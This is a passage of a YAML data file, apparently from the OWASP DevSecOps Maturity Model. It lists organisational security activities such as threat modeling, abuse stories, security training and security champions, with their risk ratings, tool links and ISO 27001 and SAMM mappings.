introduced which breaks + functionality the canary deployment will make sure the \"older version\" + is being used and not the buggy newer one." + references: + samm2: + - O-EM-B-2 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Patch + Management/6b96e5a0-ce34-4ea4-a88f-469d3b84546e + comments: "" + tags: + - patching + teamsImplemented: + Default: false + B: false + C: false +Culture and Organization: + Design: + Conduction of advanced threat modeling: + uuid: ae22dafd-bcd6-41ee-ba01-8b7fe6fc1ad9 + risk: Inadequate identification of business and technical risks. + measure: Threat modeling is performed by using reviewing user stories and producing + security driven data flow diagrams. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 3 + level: 4 + dependsOn: + - Conduction of simple threat modeling on technical level + - Creation of threat modeling processes and standards + description: | + **Example High Maturity Scenario:** + + Based on a detailed threat model defined and updated through code, the team decides the following: + + * Local encrypted caches need to expire and auto-purged. + * Communication channels encrypted and authenticated. + * All secrets persisted in shared secrets store. + * Frontend designed with permissions model integration. + * Permissions matrix defined. + * Input is escaped output is encoded appropriately using well established libraries. + + Source: OWASP Project Integration Project + implementation: + - uuid: c0533602-11b7-4838-93cc-a40556398163 + name: Whiteboard + tags: + - defender + - threat-modeling + - collaboration + - whiteboard + url: https://en.wikipedia.org/wiki/Whiteboard + - uuid: 965c3814-b6df-4ead-a096-1ed78ce1c7c1 + name: Miro (or any other collaborative board) + tags: + - defender + - threat-modeling + - collaboration + - whiteboard + url: https://miro.com/ + - uuid: 088794c4-3424-40d4-9084-4151587fc84d + name: Draw.io + tags: + - defender + - threat-modeling + - whiteboard + url: https://github.com/jgraph/drawio-desktop + - uuid: fd0f282b-a065-4464-beed-770c604a5f52 + name: Threat Modeling Playbook + tags: + - owasp + - defender + - threat-modeling + - whiteboard + url: https://github.com/Toreon/threat-model-playbook + - uuid: b5eaf710-e05f-49e5-a649-13afde9aeb52 + name: OWASP SAMM + tags: + - threat-modeling + - owasp + - defender + url: https://owaspsamm.org/model/design/threat-assessment/stream-b/ + - uuid: e8332407-5149-459e-a2fe-c5c78c7ec55c + name: Threagile + tags: + - threat-modeling + url: https://github.com/Threagile/threagile + - uuid: 1c56dbea-e067-44e2-8d3b-0a1205a70617 + name: Threat Matrix for Storage + url: https://www.microsoft.com/security/blog/2021/04/08/threat-matrix-for-storage/ + tags: + - documentation + - storage + - cluster + - kubernetes + references: + samm2: + - D-TA-B-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 + - May be part of risk assessment + - 8.2.1 + - 14.2.1 + iso27001-2022: + - Not explicitly covered by ISO 27001 + - May be part of risk assessment + - 5.12 + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Design/ae22dafd-bcd6-41ee-ba01-8b7fe6fc1ad9 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Conduction of simple threat modeling on business level: + uuid: 48f97f31-931c-46eb-9b3e-e2fec0cd0426 + risk: Business related threats are discovered too late in the development and + deployment process. + measure: Threat modeling of business functionality is performed during the product + backlog creation to facilitate early detection of security defects. + difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 1 + usefulness: 3 + level: 3 + implementation: [] + references: + samm2: + - D-TA-B-1 + - D-TA-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 + - May be part of risk assessment + - 8.2.1 + - 14.2.1 + iso27001-2022: + - Not explicitly covered by ISO 27001 + - May be part of risk assessment + - 5.12 + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Design/48f97f31-931c-46eb-9b3e-e2fec0cd0426 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Conduction of simple threat modeling on technical level: + uuid: 47419324-e263-415b-815d-e7161b6b905e + risk: Technical related threats are discovered too late in the development and + deployment process. + measure: Threat modeling of technical features is performed during the product + sprint planning. + difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 1 + usefulness: 3 + level: 1 + implementation: + - uuid: c0533602-11b7-4838-93cc-a40556398163 + name: Whiteboard + tags: + - defender + - threat-modeling + - collaboration + - whiteboard + url: https://en.wikipedia.org/wiki/Whiteboard + - uuid: 965c3814-b6df-4ead-a096-1ed78ce1c7c1 + name: Miro (or any other collaborative board) + tags: + - defender + - threat-modeling + - collaboration + - whiteboard + url: https://miro.com/ + - uuid: 088794c4-3424-40d4-9084-4151587fc84d + name: Draw.io + tags: + - defender + - threat-modeling + - whiteboard + url: https://github.com/jgraph/drawio-desktop + - uuid: fd0f282b-a065-4464-beed-770c604a5f52 + name: Threat Modeling Playbook + tags: + - owasp + - defender + - threat-modeling + - whiteboard + url: https://github.com/Toreon/threat-model-playbook + - uuid: b5eaf710-e05f-49e5-a649-13afde9aeb52 + name: OWASP SAMM + tags: + - threat-modeling + - owasp + - defender + url: https://owaspsamm.org/model/design/threat-assessment/stream-b/ + - uuid: 1c56dbea-e067-44e2-8d3b-0a1205a70617 + name: Threat Matrix for Storage + url: https://www.microsoft.com/security/blog/2021/04/08/threat-matrix-for-storage/ + tags: + - documentation + - storage + - cluster + - kubernetes + description: | + # OWASP SAMM Description + Threat modeling is a structured activity for identifying, evaluating, and managing system threats, architectural design flaws, and recommended security mitigations. It is typically done as part of the design phase or as part of a security assessment. + + Threat modeling is a team exercise, including product owners, architects, security champions, and security testers. At this maturity level, expose teams and stakeholders to threat modeling to increase security awareness and to create a shared vision on the security of the system. + + At maturity level 1, you perform threat modeling ad-hoc for high-risk applications and use simple threat checklists, such as STRIDE. Avoid lengthy workshops and overly detailed lists of low-relevant threats. Perform threat modeling iteratively to align to more iterative development paradigms. If you add new functionality to an existing application, look only into the newly added functions instead of trying to cover the entire scope. A good starting point is the existing diagrams that you annotate during discussion workshops. Always make sure to persist the outcome of a threat modeling discussion for later use. + + Your most important tool to start threat modeling is a whiteboard, smartboard, or a piece of paper. Aim for security awareness, a simple process, and actionable outcomes that you agree upon with your team. Once requirements are gathered and analysis is performed, implementation specifics need to be defined. The outcome of this stage is usually a diagram outlining data flows and a general system architecture. This presents an opportunity for both threat modeling and attaching security considerations to every ticket and epic that is the outcome of this stage. + + Source: https://owaspsamm.org/model/design/threat-assessment/stream-b/ + # OWASP Project Integration Description + There is some great advice on threat modeling out there *e.g.* [this](https://arstechnica.com/information-technology/2017/07/how-i-learned-to-stop-worrying-mostly-and-love-my-threat-model/) article or [this](https://www.microsoft.com/en-us/securityengineering/sdl/threatmodeling) one. + + A bite sized primer by Adam Shostack himself can be found [here](https://adam.shostack.org/blog/2018/03/threat-modeling-panel-at-appsec-cali-2018/). + + OWASP includes a short [article](https://wiki.owasp.org/index.php/Category:Threat_Modeling) on Threat Modeling along with a relevant [Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html). Moreover, if you're following OWASP SAMM, it has a short section on [Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/). + + There's a few projects that can help with creating Threat Models at this stage, [PyTM](https://github.com/izar/pytm) is one, [ThreatSpec](https://github.com/threatspec/threatspec) is another. + + > Note: _A threat model can be as simple as a data flow diagram with attack vectors on every flow and asset and equivalent remediations. An example can be found below._ + + ![Threat Model](https://github.com/OWASP/www-project-integration-standards/raw/master/writeups/owasp_in_sdlc/images/threat_model.png "Threat Model") + + Last, if the organizations maps Features to Epics, the Security Knowledge Framework (SKF) can be used to facilitate this process by leveraging it's questionnaire function. + + ![SKF](https://github.com/OWASP/www-project-integration-standards/raw/master/writeups/owasp_in_sdlc/images/skf_qs.png "SKF") + + This practice has the side effect that it trains non-security specialists to think like attackers. + + The outcomes of this stage should help lay the foundation of secure design and considerations. + + **Example Low Maturity Scenario:** + + Following vague feature requirements the design includes caching data to a local unencrypted database with a hardcoded password. + + Remote data store access secrets are hardcoded in the configuration files. All communication between backend systems is plaintext. + + Frontend serves data over GraphQL as a thin layer between caching system and end user. + + GraphQL queries are dynamically translated to SQL, Elasticsearch and NoSQL queries. Access to data is protected with basic auth set to _1234:1234_ for development purposes. + + Source: OWASP Project Integration Project + references: + samm2: + - D-TA-B-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 + - May be part of risk assessment + - 8.2.1 + - 14.2.1 + iso27001-2022: + - Not explicitly covered by ISO 27001 + - May be part of risk assessment + - 5.12 + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Design/47419324-e263-415b-815d-e7161b6b905e + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Creation of advanced abuse stories: + uuid: 0a929c3e-ab9a-4206-8761-adf84b74622e + risk: Simple user stories are not going deep enough. Relevant security considerations + are performed. Security flaws are discovered too late in the development and + deployment process + measure: Advanced abuse stories are created as part of threat modeling activities. + difficultyOfImplementation: + knowledge: 4 + time: 2 + resources: 1 + usefulness: 4 + level: 5 + dependsOn: + - Creation of simple abuse stories + implementation: + - uuid: bb5b8988-021b-452a-a914-bd36887b6860 + name: Don't Forget EVIL User stories + tags: [] + url: https://www.owasp.org/index.php/Agile_Software_Development + description: '[Do not Forget EVIL User Stories](https://www.owasp.org/index.php/Agile_Software_Development:_Don%27t_Forget_EVIL_User_Stories) + and [Practical Security Stories and Security Tasks for Agile Development + Environments](https://safecode.org/publication/SAFECode_Agile_Dev_Security0712.pdf)' + references: + samm2: + - D-TA-B-2 + - V-RT-B-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 + - May be part of project management + - 6.1.5 + - May be part of risk assessment + - 8.1.2 + iso27001-2022: + - Not explicitly covered by ISO 27001 + - May be part of project management + - 5.8 + - May be part of risk assessment + - 5.9 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Design/0a929c3e-ab9a-4206-8761-adf84b74622e + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Creation of simple abuse stories: + uuid: bacf85b6-5bc0-405d-b5ba-a5d971467cc1 + risk: User stories mostly don't consider security implications. Security flaws + are discovered too late in the development and deployment process. + measure: Abuse stories are created during the creation of user stories. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + implementation: + - uuid: bb5b8988-021b-452a-a914-bd36887b6860 + name: Don't Forget EVIL User stories + tags: [] + url: https://www.owasp.org/index.php/Agile_Software_Development + description: '[Do not Forget EVIL User Stories](https://www.owasp.org/index.php/Agile_Software_Development:_Don%27t_Forget_EVIL_User_Stories) + and [Practical Security Stories and Security Tasks for Agile Development + Environments](https://safecode.org/publication/SAFECode_Agile_Dev_Security0712.pdf)' + dependsOn: + - Conduction of simple threat modeling on technical level + - Creation of threat modeling processes and standards + references: + samm2: + - D-TA-B-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 + - May be part of project management + - 6.1.5 + - May be part of risk assessment + - 8.1.2 + iso27001-2022: + - Not explicitly covered by ISO 27001 + - May be part of project management + - 5.8 + - May be part of risk assessment + - 5.9 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Design/bacf85b6-5bc0-405d-b5ba-a5d971467cc1 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Creation of threat modeling processes and standards: + uuid: dd5ed7c1-bdbf-400f-b75f-6d3953a1a04e + risk: Inadequate identification of business and technical risks. + measure: Creation of threat modeling processes and standards through the organization + helps to enhance the security culture and provide more structure to the threat + model exercises. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 3 + level: 3 + description: "" + implementation: + - uuid: fd0f282b-a065-4464-beed-770c604a5f52 + name: Threat Modeling Playbook + tags: + - owasp + - defender + - threat-modeling + - whiteboard + url: https://github.com/Toreon/threat-model-playbook + - uuid: b5eaf710-e05f-49e5-a649-13afde9aeb52 + name: OWASP SAMM + tags: + - threat-modeling + - owasp + - defender + url: https://owaspsamm.org/model/design/threat-assessment/stream-b/ + dependsOn: + - Conduction of simple threat modeling on technical level + references: + samm2: + - D-TA-B-3 + - D-TA-B-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 + - May be part of risk assessment + - 8.2.1 + - 14.2.1 + iso27001-2022: + - Not explicitly covered by ISO 27001 + - May be part of risk assessment + - 5.12 + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Design/dd5ed7c1-bdbf-400f-b75f-6d3953a1a04e + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Information security targets are communicated: + uuid: 1b9281b9-48e2-4c01-9ac6-9db9931c4885 + risk: Employees don't know their organizations security targets. Therefore security + is not considered during development and administration as much as it should + be. + measure: Transparent and timely communication of the security targets by senior + management is essential to ensure teams' buy-in and support. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 3 + level: 2 + implementation: [] + references: + samm2: + - G-SM-A-2 + iso27001-2017: + - 5.1.1 + - 7.2.1 + iso27001-2022: + - 5.1 + - 5.4 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Design/1b9281b9-48e2-4c01-9ac6-9db9931c4885 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Education and Guidance: + Ad-Hoc Security trainings for software developers: + uuid: 12c90cc6-3d58-4d9b-82ff-d469d2a0c298 + risk: Understanding security is hard and personnel needs to be trained on it. + Otherwise, flaws like an SQL Injection might be introduced into the software + which might get exploited. + measure: Provide security awareness training for all personnel involved in software + development Ad-Hoc. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 3 + level: 1 + implementation: + - uuid: 1fff917f-205e-4eab-ae0e-1fab8c04bf3a + name: OWASP Juice Shop + tags: + - training + url: https://github.com/bkimminich/juice-shop + description: In case you do not have the budget to hire an external security + expert, an option is to use the OWASP JuiceShop on a "hacking Friday" + - uuid: 1c3f2f7a-5031-4687-9d69-76c5178c74e1 + name: OWASP Cheatsheet Series + tags: + - training + - secure coding + url: https://cheatsheetseries.owasp.org/ + references: + samm2: + - G-EG-A-1 + iso27001-2017: + - 7.2.2 + iso27001-2022: + - 6.3 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/12c90cc6-3d58-4d9b-82ff-d469d2a0c298 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Aligning security in teams: + uuid: f994a55d-71bb-45a4-a887-0a213d72c504 + risk: The concept of Security Champions might suggest that only he/she is responsible + for security. However, everyone in the project team should be responsible + for security. + measure: By aligning security Subject Matter Experts with project teams, a higher + security standard can be achieved. + difficultyOfImplementation: + knowledge: 4 + time: 4 + resources: 1 + usefulness: 5 + implementation: + - uuid: 8a044b74-17f2-4ffa-9dee-6b3bb6e4baf3 + name: Involve Security SME + tags: [] + description: Security SME are involved in discussion for requirements analysis, + software design and sprint planning to provide guidance and suggestions. + level: 4 + references: + samm2: + - G-EG-B-3 + iso27001-2017: + - 7.1.1 + iso27001-2022: + - 6.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/f994a55d-71bb-45a4-a887-0a213d72c504 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Conduction of build-it, break-it, fix-it contests: + uuid: bfdb576e-a416-4ec6-96fe-a078d58b2ff8 + risk: Understanding security is hard, even for security champions and the conduction + of security training often focuses on breaking a component instead of building + a component secure. + measure: The build-it, break-it, fix-it contest allows to train people with + security related roles like security champions the build, break and fix part + of a secure application. This increases the learning of building secure components. + difficultyOfImplementation: + knowledge: 5 + time: 3 + resources: 1 + usefulness: 3 + level: 3 + implementation: + - uuid: 8d4c1849-f310-4c42-8148-2810b382bc6f + name: Build it Break it Fix it Contest + tags: [] + url: https://builditbreakit.org/ + references: + samm2: + - G-EG-A-2 + iso27001-2017: + - 7.2.2 + iso27001-2022: + - 6.3 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/bfdb576e-a416-4ec6-96fe-a078d58b2ff8 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Conduction of collaborative security checks with developers and system administrators: + uuid: 95caef96-36ed-458c-a087-5c35d4f9dec2 + risk: Security checks by external companies do not increase the understanding + of an application/system for internal employees. + measure: Periodically security reviews of source code (SCA), in which security + SME, developers and operations are involved, are effective at increasing the + robustness of software and the security knowledge of the teams involved. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 3 + level: 5 + implementation: [] + references: + samm2: + - G-EG-A-2 + - G-EG-B-2 + iso27001-2017: + - Mutual review of source code is not explicitly required in ISO 27001 may + be + - 7.2.2 + - 12.6.1 + - 12.7.1 + iso27001-2022: + - Mutual review of source code is not explicitly required in ISO 27001 may + be + - 6.3 + - 8.8 + - 8.34 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/95caef96-36ed-458c-a087-5c35d4f9dec2 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Conduction of collaborative team security checks: + uuid: 35446784-7610-40d9-af9e-d43f3173bf8c + risk: Development teams limited insight over security practices. + measure: Mutual security testing the security of other teams project enhances + security awareness and knowledge. + difficultyOfImplementation: + resources: 2 + knowledge: 4 + time: 4 + usefulness: 2 + level: 4 + implementation: [] + references: + samm2: + - G-EG-A-1 + - G-EG-A-2 + iso27001-2017: + - Mutual security testing is not explicitly required in ISO 27001 may be + - 7.2.2 + iso27001-2022: + - Mutual security testing is not explicitly required in ISO 27001 may be + - 6.3 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/35446784-7610-40d9-af9e-d43f3173bf8c + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Conduction of war games: + uuid: 534f60bf-0995-4314-bb9c-f0f2bf204694 + risk: Understanding incident response plans during an incident is hard and ineffective. + measure: War Games like activities help train for incidents. Security SMEs create + attack scenarios in a testing environment enabling the trainees to learn how + to react in case of an incident. + difficultyOfImplementation: + knowledge: 4 + time: 5 + resources: 4 + usefulness: 3 + level: 4 + implementation: [] + references: + samm2: + - G-EG-A-2 + - O-IM-B-2 + iso27001-2017: + - War games are not explicitly required in ISO 27001 may be + - 7.2.2 + - 16.1 + - 16.1.5 + iso27001-2022: + - War games are not explicitly required in ISO 27001 may be + - 6.3 + - 5.24 + - 5.26 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/534f60bf-0995-4314-bb9c-f0f2bf204694 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Each team has a security champion: + uuid: 6217fe11-5ed7-4cf4-9de4-555bcfa6fe87 + risk: No one feels directly responsible for security and the security champion + does not have enough time to allocate to each team. + measure: Each team defines an individual to be responsible for security. These + individuals are often referred to as 'security champions' + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + description: | + Implement a program where each software development team has a member considered a "Security Champion" who is the liaison between Information Security and developers. Depending on the size and structure of the team the "Security Champion" may be a software developer, tester, or a product manager. The "Security Champion" has a set number of hours per week for Information Security related activities. They participate in periodic briefings to increase awareness and expertise in different security disciplines. "Security Champions" have additional training to help develop these roles as Software Security subject-matter experts. You may need to customize the way you create and support "Security Champions" for cultural reasons. + + The goals of the position are to increase effectiveness and efficiency of application security and compliance and to strengthen the relationship between various teams and Information Security. To achieve these objectives, "Security Champions" assist with researching, verifying, and prioritizing security and compliance related software defects. They are involved in all Risk Assessments, Threat Assessments, and Architectural Reviews to help identify opportunities to remediate security defects by making the architecture of the application more resilient and reducing the attack threat surface. + + [Source: OWASP SAMM](https://owaspsamm.org/model/governance/education-and-guidance/stream-b/) + implementation: + - uuid: c191a515-3c10-4903-a889-70c8021f2ea1 + name: OWASP Security Champions Playbook + tags: + - security champions + url: https://github.com/c0rdis/security-champions-playbook + references: + samm2: + - G-EG-B-1 + - G-EG-B-2 + iso27001-2017: + - Security champions are missing in ISO 27001 most likely + - 7.2.1 + - 7.2.2 + iso27001-2022: + - Security champions are missing in ISO 27001 most likely + - 5.4 + - 6.3 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/6217fe11-5ed7-4cf4-9de4-555bcfa6fe87 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Office Hours: + uuid: 185d5a74-19dc-4422-be07-44ea35226783 + risk: Developers and Operations are not in contact with the security team and + therefore do not ask prior implementation of (known or unknown) threats- + measure: As a security team, be open for questions and hints during defined + office hours. x x d + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 3 + level: 3 + implementation: ~ + references: + samm2: + - G-EG-A-1 + iso27001-2017: + - 7.2.2 + iso27001-2022: + - 6.3 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/185d5a74-19dc-4422-be07-44ea35226783 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Regular security training for all: + uuid: 9768f154-357a-4c06-af6f-d66570677c9b + risk: Understanding security is hard. + measure: Provide security awareness training for all internal personnel involved + in software development on a regular basis like twice in a year for 1-3 days. + difficultyOfImplementation: + knowledge: 3 + time: 4 + resources: 2 + usefulness: 4 + level: 2 + description: | + Conduct security awareness training for all roles currently involved in the management, development, testing, or auditing of the software. The goal is to increase the awareness of application security threats and risks, security best practices, and secure software design principles. Develop training internally or procure it externally. Ideally, deliver training in person so participants can have discussions as a team, but Computer-Based Training (CBT) is also an option. + + Course content should include a range of topics relevant to application security and privacy, while remaining accessible to a non-technical audience. Suitable concepts are secure design principles including Least Privilege, Defense-in-Depth, Fail Secure (Safe), Complete Mediation, Session Management, Open Design, and Psychological Acceptability. Additionally, the training should include references to any organization-wide standards, policies, and procedures defined to improve application security. The OWASP Top 10 vulnerabilities should be covered at a high level. + + Training is mandatory for all employees and contractors involved with software development and includes an auditable sign-off to demonstrate compliance. Consider incorporating innovative ways of delivery (such as gamification) to maximize its effectiveness and combat desensitization. + + [Source: OWASP SAMM 2](https://owaspsamm.org/model/governance/education-and-guidance/stream-a/) + implementation: + - uuid: 1fff917f-205e-4eab-ae0e-1fab8c04bf3a + name: OWASP Juice Shop + tags: + - training + url: https://github.com/bkimminich/juice-shop + description: In case you do not have the budget to hire an external security + expert, an option is to use the OWASP JuiceShop on a "hacking Friday" + - uuid: 1c3f2f7a-5031-4687-9d69-76c5178c74e1 + name: OWASP Cheatsheet Series + tags: + - training + - secure coding + url: https://cheatsheetseries.owasp.org/ + references: + samm2: + - G-EG-A-1 + iso27001-2017: + - 7.2.2 + iso27001-2022: + - 6.3 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/9768f154-357a-4c06-af6f-d66570677c9b + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Regular security training for externals: + uuid: 31833d56-35af-4ef3-9300-f23d27646ce7 + risk: Understanding security is hard. + measure: Provide security awareness training for all personnel including externals + involved in software development on a regular basis. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 3 + usefulness: 4 + level: 4 + implementation: + - uuid: 1fff917f-205e-4eab-ae0e-1fab8c04bf3a + name: OWASP Juice Shop + tags: + - training + url: https://github.com/bkimminich/juice-shop + description: In case you do not have the budget to hire an external security + expert, an option is to use the OWASP JuiceShop on a "hacking Friday" + - uuid: 1c3f2f7a-5031-4687-9d69-76c5178c74e1 + name: OWASP Cheatsheet Series + tags: + - training + - secure coding + url: https://cheatsheetseries.owasp.org/ + references: + samm2: + - G-EG-A-2 + iso27001-2017: + - 7.2.2 + iso27001-2022: + - 6.3 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/31833d56-35af-4ef3-9300-f23d27646ce7 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Regular security training of security champions: + uuid: f88d1b17-3d7d-4c3d-8139-ad44fc4942d4 + risk: Understanding security is hard, even for security champions. + measure: Regular security training of security champions. + assessment: | + - Process Documentation: TODO + - Training Content: TOODO + difficultyOfImplementation: + knowledge: 4 + time: 2 + resources: 2 + usefulness: 5 + level: 2 + implementation: + - uuid: 1c3f2f7a-5031-4687-9d69-76c5178c74e1 + name: OWASP Cheatsheet Series + tags: + - training + - secure coding + url: https://cheatsheetseries.owasp.org/ + dependsOn: + - Each team has a security champion + references: + samm2: + - D-TA-B-2 + - G-EG-A-1 + iso27001-2017: + - Security champions are missing in ISO 27001 + - 7.2.2 + iso27001-2022: + - Security champions are missing in ISO 27001 + - 6.3 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/f88d1b17-3d7d-4c3d-8139-ad44fc4942d4 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Reward of good communication: + uuid: 91b6f75b-9f4a-4d77-95a2-af7ad3222c7c + risk: Employees are not getting excited about security. + measure: Good communication and transparency encourages cross-organizational + support. Gamification of security is also known to help, examples include + T-Shirts, mugs, cups, gift cards and 'High-Fives'. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 3 + level: 2 + implementation: + - uuid: 8e1b4a8a-c53b-4b1e-90f6-c60b7e225098 + name: Motivate people + tags: + - security champions + - gamification + - nudging + url: https://github.com/wurstbrot/security-pins + description: |- + Enhance motivation can be performed with the distribution of pins + as a reward, see [OWASP Security Pins Project](https://github.com/wurstbrot/security-pins) + - uuid: 22b63bdb-2003-4ac0-969d-b1e5268c2510 + name: OWASP Top 10 Maturity Categories for Security Champions + tags: + - security champions + url: https://owaspsamm.org/presentations/OWASP_Top_10_Maturity_Categories_for_Security_Champions.pptx + references: + samm2: + - G-EG-B-1 + iso27001-2017: + - not required by ISO 27001 + - interestingly enough A7.2.3 is requiring a process to handle misconduct + but nothing to promote good behavior. + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/91b6f75b-9f4a-4d77-95a2-af7ad3222c7c + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Security Coaching: + uuid: f7b215dc-73a4-4c61-9e49-b3a3af1c9ac3 + risk: Training does not change behaviour. Therefore, even if security practices + are understood, it's likely that they are not performed. + measure: By coaching teams on security topics using for example the samman coaching + method, teams internalize security practices as new habits in their development + process. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 1 + usefulness: 3 + implementation: + - uuid: 9223be73-00da-400e-a910-3871734cff2f + name: sammancoaching + tags: + - documentation + - coaching + - education + url: https://sammancoaching.org/ + description: | + Security coaches work with software development teams to help them adopt better security practices. + level: 3 + references: + samm2: + - G-EG-B-3 + iso27001-2017: + - 7.1.1 + iso27001-2022: + - 6.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/f7b215dc-73a4-4c61-9e49-b3a3af1c9ac3 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Security code review: + uuid: 7121b0c7-6ace-4d6b-95d0-94535dbccb57 + risk: Understanding security is hard. + measure: | + The following areas of code tend to have a high-risk of containing security vulnerabilities: + - Crypto implementations / usage + - Parser, unparser + - System configuration + - Authentication, authorization + - Session management + - Request throttling + - :unicorn: (self-developed code, only used in that one software) + description: | + ### Benefits + - New vulnerabilities may be found before reaching production. + - Old vulnerabilities are found and fixed. + assessment: | + - Present the performed reviews (including participants, findings, consequences) and assess whether it is reasonable. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 3 + level: 2 + implementation: + - uuid: c77f7ecd-76de-4611-bd6d-5b249f910c39 + name: CWE Top 25 Most Dangerous Software Weaknesses + tags: + - documentation + - threat + url: https://cwe.mitre.org/top25/archive/2020/2020_cwe_top25.html + credits: | + AppSecure-nrw [Security Belts](https://github.com/AppSecure-nrw/security-belts/) + references: + samm2: + - V-ST-B-1 + iso27001-2017: + - ISO 27001:2017 mapping is missing + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/7121b0c7-6ace-4d6b-95d0-94535dbccb57 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Security consulting on request: + uuid: 0b28367b-75a0-4bae-a926-3725c1bf9bb0 + risk: Not asking a security expert when questions regarding security appear + might lead to flaws. + measure: Security consulting to teams is given on request. The security consultants + can be internal or external. + difficultyOfImplementation: + knowledge: 3 + time: 1 + resources: 1 + usefulness: 3 + level: 1 + implementation: + - uuid: 1c3f2f7a-5031-4687-9d69-76c5178c74e1 + name: OWASP Cheatsheet Series + tags: + - training + - secure coding + url: https://cheatsheetseries.owasp.org/ + references: + samm2: + - G-EG-A-1 + - G-EG-B-1 + iso27001-2017: + - security consulting is missing in ISO 27001 may be + - 6.1.1 + - 6.1.4 + - 6.1.5 + iso27001-2022: + - Security consulting is missing in ISO 27001 may be + - 5.2 + - 5.6 + - 5.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/0b28367b-75a0-4bae-a926-3725c1bf9bb0 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Security-Lessoned-Learned: + uuid: 